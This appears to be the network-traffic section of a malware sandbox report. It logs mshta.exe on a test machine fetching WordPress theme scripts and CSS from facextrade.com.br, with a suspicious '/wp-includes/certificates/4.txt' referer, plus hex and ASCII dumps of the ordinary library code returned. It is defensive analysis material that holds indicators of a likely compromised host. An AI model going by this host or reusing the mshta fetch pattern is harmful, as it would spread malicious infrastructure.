Aug 16, 2022 11:50:13.208446980 CEST	2468	OUT	GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.436707020 CEST	2491	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:45:04 GMT Server: Apache ETag: "a534c0-228c-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 8844 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075474 21588063 Age: 309 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 50 6c 61 79 6c 69 73 74 20 4f 62 6a 65 63 74 20 66 6f 72 20 74 68 65 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 33 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 44 75 61 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 61 6e 64 20 47 50 4c 20 6c 69 63 65 6e 73 65 73 2e 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 20 2a 20 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 63 6f 70 79 6c 65 66 74 2f 67 70 6c 2e 68 74 6d 6c 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 33 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 30 74 68 20 41 70 72 69 6c 20 32 30 31 33 0a 20 2a 0a 20 2a 20 52 65 71 75 69 72 65 73 3a 0a 20 2a 20 20 2d 20 6a 51 75 65 72 79 20 31 2e 37 2e 30 2b 0a 20 2a 20 20 2d 20 6a 50 6c 61 79 65 72 20 32 2e 33 2e 30 2b 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 6a 50 6c 61 79 65 72 50 6c 61 79 6c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 63 75 72 72 65 6e 74 3d 30 3b 74 68 69 73 2e 72 65 6d 6f 76 69 6e 67 3d 74 68 69 73 2e 73 68 75 66 66 6c 65 64 3d 74 68 69 73 2e 6c 6f 6f 70 3d 21 31 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 3d 62 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 5f 63 73 73 53 65 6c 65 63 74 6f 72 2c 61 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 6b 65 79 42 69 6e 64 69 6e 67 73 3a 7b 6e 65 78 74 3a 7b 6b 65 79 3a 33 39 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 6e 65 78 74 28 29 7d 7d 2c 70 72 65 76 69 6f 75 73 3a 7b 6b 65 79 3a 33 37 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 70 72 65 76 69 6f 75 73 28 29 7d 7d 7d 7d 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 64 29 3b 74 68 69 73 2e 70 6c 61 79 6c 69 73 74 3d 5b 5d 3b 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 3d 5b 5d 3b 74 68 69 73 2e 5f 69 6e 69 74 50 6c 61 79 6c 69 73 74 28 63 29 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 74 69 74 6c 65 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 74 69 74 6c 65 22 3b 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 70 6c 61 79 6c 69 73 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 74 6f 72 2b 22 20 2e 6a 70 2d 70 6c 61 79 6c 69 73 74 22 3b 0a 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 6e 65 78 74 3d 74 68 69 73 2e 63 73 73 53 65 6c 65 63 74 6f 72 2e 63 73 73 53 65 6c 65 63 74 6f 72 41 6e 63 65 73 Data Ascii: /* * Playlist Object for the jPlayer Plugin * http://www.jplayer.org * * Copyright (c) 2009 - 2013 Happyworm Ltd * Dual licensed under the MIT and GPL licenses. * - http://www.opensource.org/licenses/mit-license.php * - http://www.gnu.org/copyleft/gpl.html * * Author: Mark J Panaghiston * Version: 2.3.0 * Date: 20th April 2013 * * Requires: * - jQuery 1.7.0+ * - jPlayer 2.3.0+ */(function(b,f){jPlayerPlaylist=function(a,c,d){var e=this;this.current=0;this.removing=this.shuffled=this.loop=!1;this.cssSelector=b.extend({},this._cssSelector,a);this.options=b.extend(!0,{keyBindings:{next:{key:39,fn:function(){e.next()}},previous:{key:37,fn:function(){e.previous()}}}},this._options,d);this.playlist=[];this.original=[];this._initPlaylist(c);this.cssSelector.title=this.cssSelector.cssSelectorAncestor+" .jp-title";this.cssSelector.playlist=this.cssSelector.cssSelectorAncestor+" .jp-playlist";this.cssSelector.next=this.cssSelector.cssSelectorAnces
Aug 16, 2022 11:50:13.440953970 CEST	2500	OUT	GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:13.668983936 CEST	2548	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:13 GMT Server: Apache ETag: "a53571-9ca-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 2506 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075476 20383476 Age: 240 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 09 24 2e 66 6e 2e 74 6d 53 74 69 63 6b 55 70 3d 66 75 6e 63 74 69 6f 6e 28 6f 70 74 69 6f 6e 73 29 7b 0a 0a 09 09 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 09 09 09 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 63 6f 72 72 65 63 74 69 6f 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 3a 20 24 28 27 2e 6c 69 73 74 65 6e 53 65 6c 65 63 74 6f 72 27 29 0a 09 09 2c 09 61 63 74 69 76 65 3a 20 66 61 6c 73 65 0a 09 09 2c 09 70 73 65 75 64 6f 3a 20 74 72 75 65 0a 09 09 7d 0a 09 09 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75 Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFu
Aug 16, 2022 11:50:13.801132917 CEST	2562	OUT	GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:14.029875994 CEST	2564	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:42 GMT Server: Apache ETag: "a534b6-ada-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 2778 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075478 15075341 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 64 65 76 69 63 65 2e 6a 73 20 30 2e 31 2e 35 38 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 3b 61 3d 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 2c 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 3d 7b 7d 2c 63 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 6a 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 65 76 69 63 65 2e 69 6f 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 6f 64 28 29 7c 7c 64 65 76 69 63 65 2e 69 70 61 64 28 29 7d 2c 64 65 76 69 63 65 2e 69 70 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 6f 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 6f 64 22 29 7d 2c 64 65 76 69 63 65 2e 69 70 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 69 70 61 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 61 6e 64 72 6f 69 64 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 61 6e 64 72 6f 69 64 28 29 26 26 21 64 28 22 6d 6f 62 69 6c 65 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 62 6c 61 63 6b 62 65 72 72 79 22 29 7c 7c 64 28 22 62 62 31 30 22 29 7c 7c 64 28 22 72 69 6d 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 21 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 62 6c 61 63 6b 62 65 72 72 79 28 29 26 26 64 28 22 74 61 62 6c 65 74 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 28 22 77 69 6e 64 6f 77 73 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 50 68 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 70 68 6f 6e 65 22 29 7d 2c 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 54 61 62 6c 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 64 65 76 69 63 65 2e 77 69 6e 64 6f 77 73 28 29 26 26 64 28 22 74 6f 75 63 68 22 29 7d 2c 64 65 76 69 Data Ascii: /! device.js 0.1.58 /(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},devi
Aug 16, 2022 11:50:14.035588980 CEST	2566	OUT	GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:50:14.263628960 CEST	2580	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:46:32 GMT Server: Apache ETag: "a534af-99ea-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 39402 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 15075480 14781075 Age: 221 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 43 61 6d 65 72 61 20 73 6c 69 64 65 73 68 6f 77 20 76 31 2e 33 2e 34 20 2d 20 61 20 6a 51 75 65 72 79 20 73 6c 69 64 65 73 68 6f 77 20 77 69 74 68 20 6d 61 6e 79 20 65 66 66 65 63 74 73 2c 20 74 72 61 6e 73 69 74 69 6f 6e 73 2c 20 65 61 73 79 20 74 6f 20 63 75 73 74 6f 6d 69 7a 65 2c 20 75 73 69 6e 67 20 63 61 6e 76 61 73 20 61 6e 64 20 6d 6f 62 69 6c 65 20 72 65 61 64 79 2c 20 62 61 73 65 64 20 6f 6e 20 6a 51 75 65 72 79 20 31 2e 34 2b 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 62 79 20 4d 61 6e 75 65 6c 20 4d 61 73 69 61 20 2d 20 77 77 77 2e 70 69 78 65 64 65 6c 69 63 2e 63 6f 6d 0a 2f 2f 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 63 61 6d 65 72 61 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 41 6e 64 72 6f 69 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 77 65 62 4f 53 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 61 64 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 68 6f 6e 65 2f 69 29 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 6d 61 74 63 68 28 2f 69 50 6f 64 2f 69 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 28 29 7b 76 61 72 20 62 3d 61 28 73 29 2e 77 69 64 74 68 28 29 3b 61 28 22 6c 69 22 2c 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 61 6d 65 72 61 5f 76 69 73 54 68 75 6d 62 22 29 3b 61 28 22 6c 69 22 2c 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2e 70 6f 73 69 74 69 6f 6e 28 29 2c 64 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 65 3d 61 28 22 75 6c 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 66 3d 61 28 22 3e 20 64 69 76 22 2c 73 29 2e 6f 66 66 73 65 74 28 29 2e 6c 65 66 74 2c 67 3d 66 2d 65 3b 69 66 28 67 3e 30 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 70 72 65 76 54 68 75 6d 62 73 22 2c 56 29 2e 61 64 64 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 69 66 28 64 2d 67 3e 62 29 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 74 54 68 75 6d 62 73 22 2c 56 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 68 69 64 65 4e 61 76 22 29 7d 65 6c 73 65 7b 61 28 22 2e 63 61 6d 65 72 61 5f 6e 65 78 Data Ascii: // Camera slideshow v1.3.4 - a jQuery slideshow with many effects, transitions, easy to customize, using canvas and mobile ready, based on jQuery 1.4+// Copyright (c) 2012 by Manuel Masia - www.pixedelic.com// Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php;(function(a){a.fn.camera=function(b,c){function e(){if(navigator.userAgent.match(/Android/i)\|\|navigator.userAgent.match(/webOS/i)\|\|navigator.userAgent.match(/iPad/i)\|\|navigator.userAgent.match(/iPhone/i)\|\|navigator.userAgent.match(/iPod/i)){return true}}function H(){var b=a(s).width();a("li",s).removeClass("camera_visThumb");a("li",s).each(function(){var c=a(this).position(),d=a("ul",s).outerWidth(),e=a("ul",s).offset().left,f=a("> div",s).offset().left,g=f-e;if(g>0){a(".camera_prevThumbs",V).removeClass("hideNav")}else{a(".camera_prevThumbs",V).addClass("hideNav")}if(d-g>b){a(".camera_nextThumbs",V).removeClass("hideNav")}else{a(".camera_nex

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49174	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:44.825329065 CEST	41	OUT	GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:45.048006058 CEST	46	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:46 GMT Server: Apache ETag: "a537ae-1a385-5cd2be5b92824" Last-Modified: Thu, 30 Sep 2021 00:55:04 GMT Content-Length: 107397 Content-Type: text/css Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21188774 21655139 Age: 298 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 61 72 74 69 63 6c 65 2c 20 61 73 69 64 65 2c 20 64 65 74 61 69 6c 73 2c 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 66 69 67 75 72 65 2c 20 66 6f 6f 74 65 72 2c 20 68 65 61 64 65 72 2c 20 68 67 72 6f 75 70 2c 20 6e 61 76 2c 20 73 65 63 74 69 6f 6e 20 7b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 20 7d 0a 61 75 64 69 6f 2c 20 63 61 6e 76 61 73 2c 20 76 69 64 65 6f 20 7b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 2a 7a 6f 6f 6d 3a 31 3b 0a 7d 0a 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 20 7b 20 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 7d 0a 68 74 6d 6c 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 0a 7d 0a 61 3a 66 6f 63 75 73 20 7b 0a 09 6f 75 74 6c 69 6e 65 3a 74 68 69 6e 20 64 6f 74 74 65 64 20 23 33 33 33 3b 0a 09 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 3b 0a 09 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 32 70 78 3b 0a 7d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 20 7b 20 6f 75 74 6c 69 6e 65 3a 30 3b 20 7d 0a 73 75 62 2c 20 73 75 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 73 75 70 20 7b 20 74 6f 70 3a 2d 30 2e 35 65 6d 3b 20 7d 0a 73 75 62 20 7b 20 62 6f 74 74 6f 6d 3a 2d 30 2e 32 35 65 6d 3b 20 7d 0a 69 6d 67 20 7b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 61 75 74 6f 20 5c 39 3b 0a 09 68 65 69 67 68 74 3a 61 75 74 6f 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 0a 09 62 6f 72 64 65 72 3a 30 3b 0a 09 2d 6d 73 2d 69 6e 74 65 72 70 6f 6c 61 74 